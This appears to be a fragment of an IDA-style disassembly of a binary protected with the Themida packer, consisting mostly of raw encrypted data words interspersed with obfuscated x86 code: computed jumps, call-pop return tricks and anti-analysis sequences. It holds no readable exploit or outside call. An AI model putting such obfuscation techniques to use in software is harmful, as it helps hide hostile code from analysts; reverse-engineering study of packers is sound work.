		dd 6063h, 0C0835900h, 1693CA99h, 3EE252D7h, 0AB957D6Dh
		dd 4500DE0Eh, 9086F23Ch, 4DA8EEBFh, 9086F204h, 0F14C6567h
		dd 0FFAEE981h, 0BC82B24Fh, 86F2E009h, 0AC082910h, 0E00DFA3Ch
		dd 81868367h, 6858321Dh, 25FA7166h, 374ABCE1h, 86A14B8Eh
		dd 4E613210h, 9209A7h, 1D3F0000h, 86A163A6h, 51390A10h
		dd 0DB0BABE9h, 5DD8D903h, 36D4A9EDh, 9C062B87h,	7D415216h
		dd 5145B534h, 93A08E7Ch, 2D74CF30h, 0D01693E6h,	0EE45D0FFh
		dd 70992C8Dh, 0FB1693E6h, 0B211052Ah, 1693E768h, 9136A910h
		dd 2F72D132h, 0CE1693E7h, 0A70CD2FDh, 0E9E6D040h, 74447201h
		dd 2C97994Ch, 20A15C60h, 0AEB09FB0h, 2AB283A9h,	0DE8CD735h
		dd 6C5BED58h, 0C9DA108Ah, 0E757D4CDh, 7A65D4AFh, 0EEFC24D4h
		dd 7AE6BFF8h, 794C123Dh, 1AB1C4AFh, 34F89DAEh, 0CCE30BABh
		dd 93A9EBD8h, 3C07D7F8h, 169F9AEAh, 0C14DA809h,	0B8FED141h
		dd 0A27323C7h, 8CFC7F74h, 9C0481B2h, 5D9C8209h,	3E7C8F0h
		dd 0C838BB68h, 656167CEh, 71F81927h, 9E2A893Eh,	776CAA1Ah
		dd 82AD82F2h, 4FBF3CF3h, 0EC578547h, 45671A5h, 96937748h
		dd 9174A212h, 0B112B528h, 0FC7FB441h, 102A8A8Ch, 0FE000000h
		dd 6DDD624Fh, 6CC5977Dh, 0B8288410h, 243FF397h,	475C5ACAh
		dd 314274E4h, 3E3363D3h, 544D49B9h, 433066D6h, 5A474FBFh
		dd 433066D6h, 4F6452C2h, 783C7AEAh, 81E38953h, 4C3h, 4BA5200h
		dd 29000000h, 1C875AD3h, 62685C24h, 8900007Ah, 8957241Ch
		dd 4C781E7h, 83000000h,	3C8704EFh, 3C895C24h, 19685524h
		dd 5D0C2560h, 0E581D5F7h, 465C5196h, 47AB951h, 0E9813BA7h
		dd 5BC41E2Dh, 43BBE981h, 0D1F75903h, 0E981D1F7h, 4AA025B3h
		dd 8959CD29h, 8B545DEBh, 0C481243Ch, 4,	8B951h,	0F9010000h
		dd 0C8B1989h, 4C48324h,	5F2434FFh, 0FF04C483h, 835B2434h
		dd 0BFE904C4h, 56FFFCE4h, 8EB7A245h
		db 0D8h, 0A5h, 6Ah
; ---------------------------------------------------------------------------


loc_5B33CB:				; CODE XREF: sub_5B2804:loc_5B2ED1j
		mov	eax, 6189905h
		add	eax, ebp
		jmp	eax
sub_5B2804	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dd 35CEC1D2h, 86F204Fh,	2AEBC006h, 785146CDh, 1A8F0787h
		dd 73053B55h, 0BD80810h, 33602E47h, 7E35B719h, 22E59C78h
		dd 714842E3h, 31E5383Ah, 59A29A3Dh, 7D0E6BBBh, 0F08D359h
		dd 10A509ADh, 2193A484h, 3A510742h, 1C981AA5h, 148E9h
		dd 4800h, 4C00h, 5000h,	5400h, 5800h, 5C00h, 6000h, 6400h
		dd 0A800h, 0AC00h, 0B000h, 0B400h, 0B800h, 0BC00h, 0C000h
		dd 0C400h, 0C800h, 0CC00h, 0D000h, 0D400h, 0D800h, 0DC00h
		dd 0E000h, 0E400h, 38h dup(0)
		dd 5B348500h, 0B2C20300h, 0F6858D00h, 0E8061899h, 7, 0DE7CC47Eh
		dd 0E9F4A230h, 10h, 588E3749h, 90A4DF2h, 19DAAD3Fh, 86C28915h
		dd 13E85Ah, 0EA260000h,	2FE9958Eh, 0F48F2143h, 4DAE1E69h
		dd 0E9EAB6Eh, 0DE8D3h, 2ABC0000h, 0BFEF6F76h, 5A3E041h
		dd 8B7A3705h, 15243D9Dh, 895A5A06h, 189B3685h, 9DE28006h
		dd 9C585C6h, 0BF540615h, 6B857B67h, 4E8C4B6h, 29000000h
		dd 66EE6268h, 50AA77B9h, 310F5250h, 448B585Ah, 0D3BB0424h
		dd 8B38A3FDh, 89F6B700h, 66042444h, 586CD6BFh, 1459958Bh
		dd 0B5FF0615h, 6152811h, 0C519D89h, 858D0615h, 61872BCh
		dd 10898D09h, 0D0FF0615h, 85893EB7h, 6189B3Ah, 0BF3B70Fh
		dd 151D9DB5h, 4EE906h, 8D8B0000h, 6152CE5h
; ---------------------------------------------------------------------------


loc_5B3644:				; DATA XREF: Themida_:0057A654o
					; Themida_:0057B434o
		push	esi
		mov	esi, [ebp+6189B36h]
		mov	[esi], eax
		add	dword ptr [ebp+6189B36h], 4
		pop	esi
		retn
; ---------------------------------------------------------------------------
		pusha
		lea	esi, [ebp+61899F6h]
		jmp	short loc_5B366E
; ---------------------------------------------------------------------------


loc_5B365F:				; CODE XREF: Themida_:005B3671j
		push	esi
		push	0
		push	dword ptr [esi]
		call	dword ptr [ebp+6189B3Ah]
		pop	esi
		add	esi, 4


loc_5B366E:				; CODE XREF: Themida_:005B365Dj
		cmp	dword ptr [esi], 0
		jnz	short loc_5B365F
		popa
		retn
; ---------------------------------------------------------------------------
		db 33h,	9Dh, 3Dh
		dd 0E8061523h, 7, 54DC9593h, 66104026h,	5E6275B9h, 9C27858Dh
		dd 0F2B90618h, 894750F5h, 15340185h, 14E806h, 0A9590000h
		dd 76994B62h, 94FEE49Ch, 0BDE99A3h, 536221ACh, 8D33A9ACh
		dd 6152709h, 0C981665Fh, 0C7818467h, 594Dh, 8E9h, 12739C00h
		dd 2CF574BCh, 161FBA98h, 0EFBB0000h, 8B18EA9Dh,	0E2E68107h
		dd 810CE80Ch, 0D58377C0h, 69B50158h, 81061524h,	0AA4977C0h
		dd 0FE94Dh, 0F3600000h,	2D9CF564h, 6070FB77h, 4A72CCE9h
		dd 0E5F08110h, 897446DBh, 150D49B5h, 81078906h,	0AC7348DEh
		dd 0D4EF8112h, 8B46322Eh, 1527418Dh, 0D0C78106h, 0F46322Eh
		dd 0EA83CFBFh, 1B850F01h, 60000000h, 8BF18B66h,	1515ED9Dh
		dd 28E96106h, 2E000000h, 83EC34C6h, 22D84564h, 0B58B133Dh
		dd 6151909h, 0FFFF7AE9h, 0B58A08FFh, 0D50225FAh, 788A6D3Eh
		dd 0BF00AFAh, 0E992C12Eh, 0F4h,	1DADA46Fh, 8A055C97h, 76A18883h
		dd 7A0E0A1Dh, 33538FDDh, 7D2F6D37h, 2D773D55h, 0D77DD57Fh
		dd 0F73D577Dh, 0D575DF6Dh, 577DD773h, 5FEDF73Dh, 335375D5h
		dd 7D2F6D37h, 2D773D55h, 0D77DD57Fh, 171E577Dh,	2075DF6Dh
		dd 20602060h, 60E0E020h, 7B68AC20h, 0A1E4A9F7h,	93B2D020h
		dd 9DB7EDA6h, 0A3F291B9h, 206020ACh, 20602060h,	60E0E020h
		dd 33537520h, 7D2F0D0Ah, 20602055h, 28602060h, 0F0362BA7h
		dd 0F360C950h, 96A1EFB6h, 0A7B4E0F7h, 7192B8E3h, 0B9E9B3F4h
		dd 2060F76Dh, 20602060h, 0F7202060h, 351ADF6Dh,	577DD773h
		dd 5FEDF73Dh, 335375D5h, 7D2F6D37h, 2D773D55h, 0D77DD57Fh
		dd 0F73D577Dh, 0D575DF6Dh, 577DD773h, 5FEDF73Dh, 335375D5h
		dd 7D2F6D37h, 0E0A1E35h, 5D340700h, 59A0A3D2h, 1Eh, 3 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5B44D8
; ---------------------------------------------------------------------------
		push	618A0E4h
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	618A1B5h
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	618A284h
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	618A368h
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	618A3F1h
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	618A495h
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	618A5B2h
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	618A6B6h
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	618A794h
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	618A86Dh
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	618A91Dh
		jmp	loc_581882
; ---------------------------------------------------------------------------
		db 0D8h
		dd 1807EE5Eh, 0D74C2999h, 200FE656h, 0CE6530A0h, 8219FC6Ch
		dd 0A4149609h, 6DDD62D1h, 0A9199B88h, 64D457CCh, 0AD184691h
		dd 169E6C64h, 0DBD88607h, 0FF6FCC58h, 0D5E9E6D0h, 9E6C2B6Eh
		dd 29C1D216h, 57C724F1h, 0ABEE5587h, 521086F2h,	81C56A49h
		dd 0F9D618DFh, 1C392311h, 605807D5h, 24E585C7h,	4A8B53C3h
		dd 9F1FA58Eh, 14680E1Ah, 0B8A5E6F1h, 0C81F1B3Ch, 79C3E08Eh
		dd 0A40BA391h, 0BD2D8E39h, 0D2ED2D8h, 861E1336h, 33C7110h
		dd 0FC55659Fh, 825C7344h, 9C6157C3h, 2B9AC416h,	169372E6h
		dd 6120BC85h, 0FA2FA385h, 0B08135D5h, 9E0E6D86h, 5BCB28F7h
		dd 5FCF2E83h, 969B81ABh, 9F70A616h, 0C78CD0EBh,	84E41693h
		dd 893C2214h, 1693C740h, 99191A2Bh, 88BC2531h, 2A057860h
		dd 2DA009ECh, 8AA5159Ah, 0C007B6DFh, 0D10BD343h, 93B72F72h
		dd 0DFDCE16h, 0E252B17Eh, 0C652D7DCh, 0C8C5F161h, 180903E7h
		dd 4CEB2B9Bh, 0EE4D7A65h, 9F0A977Eh, 259DBD5Fh,	4F8h, 57C72401h
		dd 59C92A87h, 0D6E83B1h, 0EB2F89Dh, 1CD700DEh, 0DE03C238h
		dd 9D1086F7h, 5A16AB8Ch, 6577BDADh, 9581F14Ch, 0BFF3D2B8h
		dd 0DC169B98h, 3D9A6EFBh, 0BDAD2576h, 67CEC8D9h, 1693DA26h
		dd 7D7568CFh, 4E48B834h, 8F1A9971h, 2F9DBD46h, 78128202h
		dd 3BCCh, 0BABE000h, 0F04003DBh, 8D169BF5h, 9BCA2BCh, 1693F1C0h
		dd 46F09AABh, 6ADA5B58h, 0F1F82580h, 8CEE1693h,	0AB091A1Ch
		dd 0F7AFB3Bh, 30E743A0h, 1D61CC7Dh, 0CBE79DBDh,	0C3000000h
		dd 5F57C724h, 0BDE45F7Dh, 0DE1086F2h, 86F22267h, 48F8C910h
		dd 3BCE6077h, 0F5DBAEEFh, 26961415h, 0F48003F0h, 310E0878h
		dd 80E7E02h, 301E1837h,	78128203h, 2DC838BBh, 86125488h
		dd 749EB710h, 643CF5D4h, 0B536F397h, 83B045h, 6414A690h
		dd 91342A34h, 10868B48h, 0B6886233h, 9C7C4B0Fh,	94613216h
		dd 1C225226h, 8B1186A9h, 0CA94A510h, 0FC990969h, 0CA53C327h
		dd 0B1BF8FB1h, 2044C0B6h, 8000009h, 0C8573EAEh,	71CF969h
		dd 0D05F36A6h, 0BE750070h, 7229CC3Ch, 0B4248639h, 7DED52E1h
		dd 0B9298B98h, 74E447DCh, 9D2836A1h, 169E5274h,	24C676F7h
		dd 70BF56C6h, 3514AB13h, 0BA8613B3h, 0D6E15640h, 5B744B5Dh
		dd 0BAB6EBAh, 0FCD903DBh, 0FDABAFFAh, 0F7A64410h, 169B583Bh
		dd 0BE457142h, 1693439Fh, 4BFEB168h, 9DBDCADEh,	0B366h
		dd 0C7244200h, 587D5F57h, 80FC8E8Dh, 12994710h,	39B97A10h
		dd 3666CDC9h, 2A1086D9h, 67BC59C9h, 0BCA29404h,	0B4B43E9Bh
		dd 864BC811h, 0D5E2B310h, 8763C448h, 213D6D11h,	9CFCFEA2h
		dd 0C7AE7F16h, 0CFEF1FDFh, 8895A474h, 0D12C5910h, 77583561h
		dd 78E84A67h, 0B424869Dh, 0BF13B6E9h, 338FA5B1h, 84Fh
		dd 8ED5DD9h, 4F26961Bh,	20F565E0h, 583DAD13h, 1EF767CBh
		dd 2B8F0289h, 0E245DABBh, 308CA372h, 7DFE35C0h,	6F5F680Dh
		dd 9E538DD4h, 8DAF7016h, 0BF56C624h, 25871370h,	89A61699h
		dd 0F69FB08Dh, 77D85F54h, 86F285CCh, 78576810h,	71A9413Eh
		dd 71E1624Fh, 71A24845h, 0AA74A212h, 0C32B60ADh, 0EFCF1A5h
		dd 472E9E1Dh, 6F0FE266h, 0F43D1F3Fh, 300D0979h,	86094C95h
		dd 6C1E2F10h, 0F75BEAh,	8976169Bh, 896B929h, 5962FEBDh
		dd 97C77709h, 62A0FCC7h, 94A51242h, 386818A2h, 448D3826h
		dd 271A7552h, 0FCE27416h, 523E63E2h, 0D0BD1A75h, 3D2D0272h
		dd 6CC4E35Eh, 95A97A1Ch, 0C6AF1F9Ch, 936ADA59h,	0ACE0B45Eh
		dd 808FF301h, 0A8000007h, 0E837DE4Eh, 0A77C1989h, 0F03FD646h
		dd 0DE552090h, 9209EC5Ch, 0D444A619h, 1D8DF241h, 0D949AB78h
		dd 1484E73Ch, 0BD885681h, 169E5094h, 24A69657h,	0D95F57C7h
		dd 0E959D925h, 0D14DF8C6h, 32169C20h, 80E7E01h,	61635337h
		dd 93DCBFE2h, 4A6D3E16h, 18F975D0h, 9AA48B8Bh, 6BAB1B99h
		dd 0D9DF892h, 37253969h, 64B1C51Eh, 650536E8h, 8A9E7936h
		dd 0BFB99E10h, 4FD0EED7h, 8C9D01E9h, 9EFF81B2h,	0ABAAE227h
		dd 97B8891Ch, 7ABCAE9Fh, 0AB4ABA39h, 8F87F774h,	0A40564CDh
		dd 0ABAAF821h, 9DB2831Ch, 0CCC6A499h, 0F565E02Ch, 0DBE3CCC1h
		dd 0B2D79468h, 3608191Ah, 0BF4A2F28h, 6E69FD9h,	7445C931h
		dd 781244BBh, 2DC838BBh, 110575F6h, 97A7D7A7h, 0D96BE02Ch
		dd 0E9B48504h, 0A5924DAAh, 9C37BBB9h, 8C000006h, 0FC33C232h
		dd 0BB680D7Dh, 0F42BCA3Ah, 0C2710474h, 6645D040h, 98086A25h
		dd 51C126FDh, 9D0D6FC4h, 58C82BF8h, 81440ABDh, 169E5158h
		dd 4FDA6223h, 40CA586h,	0BBAF08F6h, 0EDF121D5h,	9FBA8E56h
		dd 203E0F16h, 7E40B013h, 0C350B835h, 7502EA4Eh,	0B58A8CA3h
		dd 0DF8BFB7Eh, 0BB1C9F94h, 9E8AC108h, 0B49BAC16h, 14979C82h
		dd 0ED9D72A4h, 42A7F3C3h, 0C4EBE4D2h, 58D34BFAh, 81921084h
		dd 0BF20B7FCh, 3EC6B0B1h, 613h,	4C299915h, 13E252D7h, 6431A11Ch
		dd 1CF969CFh, 6233A307h, 0E74B4645h, 2E919E77h,	0EC48D7BEh
		dd 298A997Ch, 0E3EBDCB9h, 9E513960h, 0F943C416h, 93B68D4Fh
		dd 0CD1086F2h, 0C5BAFC6Ch, 0FAA04A5Bh, 7D481646h, 169F903Eh
		dd 61526C3Dh, 8CA372E2h, 0F177BF2Fh, 1B411D4Dh,	6C5F8241h
		dd 0D1E169Eh, 11AE3E5Dh, 1E2F1087h, 85401E40h, 1CB7C95Ch
		dd 0AF5C0E1Fh, 1539DC4Ch, 0C9557C47h, 7181CB7h,	0C9458C37h
		dd 17281CB7h, 0C535B673h, 679767D1h, 38A0EC57h,	74451AADh
		dd 0A67A4EA9h, 8BE70DABh, 56Fh,	28CD3DB9h, 6F0676FBh, 40D545C0h
		dd 781D8DF3h, 3ED747ABh, 0B6F2269h, 0C225FA9Bh,	106CC352h
		dd 0DD5ED5A0h, 0F3F886Dh, 9E566DB4h, 0AD8F1016h, 5F57C724h
		dd 0F481F152h, 0FCC2F2C6h, 9BFB1149h, 0E1647A16h, 1693FBB8h
		dd 28987243h, 290676FBh, 0FB4786EDh, 89301693h,	2786F356h
		dd 2F289DBDh, 0D8E5CB46h, 0B37D3C8h, 2Fh, 0DB0BAB1Fh, 0F5F04003h
		dd 0BC8D169Bh, 0F1D2FB7Ah, 0A6041693h, 91F30036h, 2292F221h
		dd 35A811F4h, 2A95FCAEh, 0BD1D9A1Fh, 0C1229Dh, 4FF60000h
		dd 7D6DDD62h, 9FBF2F8Ch, 0B6C317B6h, 0FFEB0952h, 2E9E1C15h
		dd 878FBE8h, 2696150Eh,	623A724Fh, 0CD2E1086h, 0D030815Dh
		dd 0B1593660h, 7EEE4DE2h, 0DE0EB238h, 6CF94500h, 0AB7C169Bh
		dd 0AA1A9E93h, 0FE23A26Ch, 7D169368h, 8CE783ACh, 0A90E5A1Eh
		dd 2F00FD39h, 0B40F4D0Fh, 1693686Dh, 704B3F10h,	108B0728h
		dd 49B93E73h, 269A704Dh, 8AE84915h, 46A47B1Ah, 816A47D6h
		dd 7F75B1BFh, 45203h, 0E858D600h, 2393160Dh, 0F060DD52h
		dd 3AAA0E25h, 0F666C45Bh, 9003881Fh, 0FC33C232h, 0B56A0B7Bh
		dd 12EC737h, 50831282h,	5792B78Eh, 9859169Eh, 56C624A4h
		dd 0A31370BFh, 0A313969Bh, 0AB80ACC7h, 4003DB0Bh, 169BF5F0h
		dd 0BCA2BC8Dh, 93F1C009h, 0F09AAB16h, 0D77F5846h, 0BF5ED6DEh
		dd 0E9D8BA7Fh, 250A89BBh, 0E6375645h, 0CB291693h, 0E1465B5Bh
		dd 0D02C4571h, 0EE593660h, 0DB4F943Bh, 3DC08934h, 0C39DBD2Eh
		dd 0BBh, 57C724D7h, 56C62A87h, 82C77E60h, 691086F2h, 99937758h
		dd 7CBA2A88h, 86F6C5F9h, 0EC78FB10h, 83421C8Ch,	1086F65Eh
		dd 52230C1Dh, 0A8EE5EDDh, 0FB6BCDE6h, 7228C2BBh, 5C09ECEh
		dd 169BF039h, 1C8A6B3Ch, 49B1105Ch, 0F04153AAh,	331C33BEh
		dd 929F982Bh, 9C9E108Bh, 0AA40E029h, 95BA8B1Ch,	9A0A68C9h
		dd 0EE1C93C4h, 94410DBBh, 2A8897F6h, 5900E3BAh,	0D1E3B1C0h
		dd 34E71h
		dd 0EC5CDA00h, 27971A09h, 0F464E14Eh, 3EAE1221h, 0FA6AC857h
		dd 940F7C1Bh, 60CFA616h, 99866FDFh, 55CAAB1Bh, 448F66D6h
		dd 5466AB1Ah, 8405169Eh, 56C624B8h, 0A31370BFh,	0C42B88D2h
		dd 247EB654h, 525F57C7h, 940465F1h, 0F382ADA2h,	78E84A67h
		dd 5244B43Bh, 202A8D7Dh, 0E1FD2DD1h, 0F20148FBh, 0DBEC1086h
		dd 262F2D2Fh, 22633EC2h, 7A29C195h, 169B6396h, 5EDCD5D7h
		dd 6ED7A8EEh, 1693502Bh, 0CA76E645h, 50143D08h,	0C6D71693h
		dd 8D38C6E9h, 0B2A9CAA8h, 6C9F1C5h, 8EFE8181h, 5217F3A9h
		dd 367B617Dh, 0FAA941B1h, 0BCD7216Ah, 4EDCDAEBh, 0DC2482AAh
		dd 0F9A6A285h, 0CC3D08D6h, 8FA6FF52h, 3093A0BEh, 332935C0h
		dd 0FE5A4990h, 876334A6h, 0E4B9298Ah, 7741EF7h,	707E06F0h
		dd 0B8000002h, 0F827CE3Eh, 0B76C0979h, 2FC636h,	0AE851080h
		dd 6239DC4Ch, 84F47629h, 4DBD42F1h, 89F97BA8h, 44B437ECh
		dd 8D3826B1h, 169E5544h, 4FD66627h, 0F293B68Dh,	495A1086h
		dd 0AB1370A1h, 843CE7EDh, 80E21B0h, 1B8BED46h, 4575496Fh
		dd 44B6CA79h, 6637169Bh, 766CB8Fh, 50C4F397h, 233E1045h
		dd 36AB4BDFh, 7F5046B6h, 4000BA50h, 130373F4h, 0C4577A49h
		dd 5161693h, 0F839052Ah, 350A0C7Ch, 0DC44FF55h,	0A1108ECDh
		dd 63500E90h, 0C4276CDCh, 7D6D6254h, 3F5EE31Eh,	78C474C1h
		dd 0BE8F87F7h, 0A6F6CD91h, 0A7DE24B4h, 661AA096h, 0AC9D2836h
		dd 0AFD852B2h, 0C73C09Eh, 0ECDB49A4h, 745B7542h, 1073C096h
		dd 9AB52584h, 57C724FBh, 64EC7C6h, 0A22214E9h, 197h, 30C53591h
		dd 670E7E03h, 28CD3DB8h, 700575FBh, 26CF3FC3h, 23873A71h
		dd 0EA4DE2B3h, 28849B7Ah, 0E546DDB8h, 2737A075h, 9E5A759Ch
		dd 0C577F816h, 5F57C724h, 0E9F525D9h, 9C032A5Ah, 0FB9AAB16h
		dd 0F09061B2h, 0FEE0FEC0h, 93E20247h, 0FFD8E916h, 0B113B92h
		dd 0E5C0AA82h, 108E747Dh, 0DC05C09Eh, 9F1CAC6Bh, 0EBBCDC8Eh
		dd 47C9B013h, 0CA6EC553h, 999AC49Ah, 9E6FA717h,	9FFDD1ECh
		dd 0AF80D381h, 0F13D0167h, 1BF42292h, 0AE9B2A34h, 0ADDDADC9h
		dd 848FFF80h, 817EB828h, 20A390AEh, 8BA41494h, 46B635EAh
		dd 0A1A7B2B7h, 0AB072DECh, 0E7h, 0C055C541h, 0F79E0E73h
		dd 0B85DCD28h, 95056Bh,	0B65FCF33h, 73F7AAE1h, 3ABD7203h
		dd 78F42BCAh, 35B66D08h, 0B7A730C5h, 9E5BC50Ch,	55E7A816h
		dd 5F57C724h, 0E9F525D9h, 9BFBAE5Ah, 348FCD16h,	1693FBEDh
		dd 0EBCBBF90h, 0CB6B3BDAh, 0F6EC39Bh, 0BD920283h, 98086879h
		dd 5B81D3B7h, 8961D156h, 8A86BE1Ah, 46FDBF10h, 1CAB5503h
		dd 345DE8EAh, 0B71CAB55h, 0D8E6C9E6h, 551A3F06h, 0D0E11CABh
		dd 84E7FC3Ah, 51B28114h, 0EEE7B5E1h, 62C680DBh,	0F083E5F2h
		dd 0C0A7AFEh, 13B1C33h,	9982A8FAh, 0D05C4723h, 45201125h
		dd 0D903EFDEh, 64C1276Ah, 5BD9C637h, 0E526C4EBh, 0DB7F1686h
		dd 0C11F4201h, 0CDDE3764h, 1F8FEC1Dh, 36A60A17h, 29940500h
		dd 0C8AD1D9Eh, 2E68D85Bh, 0AC6h, 6D2FE200h, 3F77E744h
		dd 24789C4Eh, 475C5ACAh, 314274E4h, 3E3363D3h, 544D49B9h
		dd 433066D6h, 5A474FBFh, 433066D6h, 4F6452C2h, 783C7AEAh
		dd 81E68956h, 4C6h, 4EE8300h, 8B243487h, 89572424h, 4C781E7h
		dd 83000000h, 3C8704EFh, 3C895C24h, 3D1B6824h, 34890000h
		dd 9EB46824h, 3C8B0618h, 4C48324h, 172668h, 24248900h
		dd 4240481h, 5E000000h,	4EC81h,	3C890000h, 242C8124h, 0AE54AB1h
		dd 8108468Fh, 4AB10846h, 34FF0AE5h, 0C4815E24h,	4, 5F2434FFh
		dd 0E904C483h, 0FFFCD3B2h, 0E7CE8469h, 11F4F7F9h
; ---------------------------------------------------------------------------


loc_5B44D8:				; CODE XREF: Themida_:005B3870j
		mov	eax, 618AA29h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 46h,	0E5h, 6Ch
		dd 1C2E6516h, 26E7AF74h, 0FD1AFC04h, 267CA15h, 0C9DF887Ah
		dd 5D11C07Ah, 8F4FEB69h, 0ABFA251Ch, 0DAC6A108h, 0D41CA4ACh
		dd 0E45C5CD2h, 3134CE00h, 27CE1BF5h, 34D129B3h,	2AC7DD5Bh
		dd 1BCE17E6h, 0DB6734DFh, 9D0000A6h, 0BA9F0042h, 0DC80h
		dd 1B540000h, 0FEB4h, 0FBFE34h,	0B4870000h, 202352DDh
		dd 9E019ED9h, 0BAE97C80h, 89000013h, 1526D19Dh,	0B5BD8306h
		dd 6152Dh, 73850Fh, 6A0000h, 3E852h, 5A200000h,	54895AC3h
		dd 44810424h, 160424h, 52420000h, 0D6573DC3h, 0B8h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1804h, 0C3524200h
		dd 14FCC170h, 1D958B2Fh, 0C2061515h, 6A0004h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 160424h, 52420000h, 3175AAC3h
		dd 3860Fh, 8B660000h, 6AC08BC8h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 8307C353h, 1508F5BDh
		dd 9750006h, 3ADBD83h, 74000615h, 8B535013h, 4D0B8C0h
		dd 9D8D0000h, 617A872h,	585BD3FFh, 3ADBD83h, 74000615h
		dd 0B8535011h, 4D0h, 0A7BF9D8Dh, 0D3FF0617h, 6A585Bh, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 0F5D53C3h, 0BE9C9B7h, 0D1000000h, 32374D21h,	0DD11F76Ch
		dd 0E860A7DEh, 0Eh, 77C18D2Bh, 0F8AA31FFh, 0D19653CCh
		dd 14E81FA1h, 0C9000000h, 3518A3Ch, 0ECB36F0Ah,	1D293DF0h
		dd 859ED0FCh, 5BBF5E03h, 68A0F5Fh, 8B000000h, 1510C995h
		dd 0C08B6106h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Bh,	2EC35747h, 0A62C7B09h, 8D69039Eh, 18AB1385h, 71B58906h
		dd 90061529h, 14E8h, 0A5ED5800h, 0C017FF6Dh, 2F2F05ADh
		dd 5F0D68A9h, 32EBDB5h,	8B665679h, 505A5FD0h, 13E8h, 42C43400h
		dd 0DE8A2365h, 7E18BB76h, 83D3C892h, 9CFB637Dh,	11E8h
		db 0
byte_5B4711	db 41h,	67h, 85h	; DATA XREF: Themida_:0057A868o
		dd 0BE197502h, 0D00E5D98h, 406011F0h, 61607D8Ah, 0F905F5Ah
		dd 1C84h, 10E800h, 0B94D0000h, 0C9122A4h, 9F163741h, 0A231677Dh
		dd 9589156Bh, 6150E39h,	0D195035Fh, 8D061528h, 18AAD085h
		dd 81666006h, 8BA4ADE7h, 150DB9BDh, 51506106h, 13E8h
		db 0
; ---------------------------------------------------------------------------


loc_5B4769:				; DATA XREF: Themida_:00579BB4o
		sbb	[ecx], esi
		mov	esp, 0CEB7629Dh
		xor	[edx+62A14A4Dh], dh
		sar	dword ptr [ebp-4Dh], cl
		cli
		mov	bl, 9
		pop	edx
		pop	edi
		mov	[esp], eax
		mov	[ebp+6150591h],	ecx
		jmp	loc_5B479E
; ---------------------------------------------------------------------------
		dd 10FABE6Bh, 625AF5F2h, 4594885Eh, 21B31208h
; ---------------------------------------------------------------------------
		lahf
		sahf


loc_5B479E:				; CODE XREF: Themida_:005B4787j
		call	dword ptr [ebp+6151101h]
		push	0
		push	esi
		call	sub_5B47AF
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B47AF	proc near		; CODE XREF: Themida_:005B47A7p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Bh
		inc	esi
		push	esi
		retn
sub_5B47AF	endp

; ---------------------------------------------------------------------------
		mov	al, 6Bh
		adc	dword ptr ds:84B6A87Bh,	1
		test	ds:8B06152Bh, edx
		inc	esp
		and	al, 4
		mov	cx, dx
		mov	[ebp+6150185h],	edx
		mov	[ebp+618AAFBh],	eax
		push	0
		push	edi
		call	sub_5B47EB
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B47EB	proc near		; CODE XREF: Themida_:005B47E3p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Bh
		inc	edi
		push	edi
		retn
sub_5B47EB	endp

; ---------------------------------------------------------------------------
		db 58h
		dd 0FB118D7Bh, 8BF3511Ah, 0F082444h, 482h, 63B96600h, 0F858984h
		dd 890618ABh, 152755BDh, 81BD8306h, 61504h, 131850Fh, 958B0000h
		dd 61511F9h, 9C585C6h, 6A470615h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0FD36C351h
		dd 0DCD4688Ah, 5DBD01E5h, 0F061510h, 1F8Ah, 13E800h, 0B4720000h
		dd 0CB5FE38Bh, 90C1BC55h, 0AE323942h, 0F70187B9h, 71BD8B8Ch
		dd 5F06151Ch, 4E8h, 9AA7D200h, 36BF66D4h, 448B50DEh, 52500424h
		dd 0BE8h, 1B4F3D00h, 0D4EAA441h, 257EB556h, 5FFA8B66h
		dd 8B66310Fh, 8B585AFAh, 50525000h, 0B9310F52h,	43A94611h
		dd 310F585Ah, 4489585Ah, 52500424h, 3D4DBF66h, 585A310Fh
		dd 57006A58h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1704h
		dd 0C3574700h, 0E27A39BAh, 0B5FFC88Ah, 6152811h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 5BC35646h, 3EB516EDh
		dd 95297E4Dh, 6151799h,	8DFB8B66h, 1872BC85h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1504h, 0C3554500h
		dd 0D0FFC2E2h, 55C4F181h, 85893083h, 6150481h, 83FE8B66h
		dd 150E1DBDh, 850F0006h, 112h, 85C6D3B2h, 61509C5h, 3830F47h
		dd 66000000h, 4E8D38Bh,	0E2000000h, 0E98A0FB5h,	0Eh, 2E90FD54h
		dd 0C1FFC738h, 0BBFC0EF1h, 0B650D37Eh, 24448B9Ch, 701ABA04h
		dd 8B281Dh, 5E8h, 6EB1C800h, 0BF660327h, 895A571Fh, 50042444h
		dd 0FE952h, 0B5660000h,	4770F80Eh, 413F4D39h, 0F1EB9060h
		dd 0E9310FB0h, 0Dh, 2DA3C882h, 0C30CAB44h, 0EE3548DDh
		dd 58585A11h, 0E475EA81h, 0B5FF6BD2h, 6152811h,	0E855006Ah
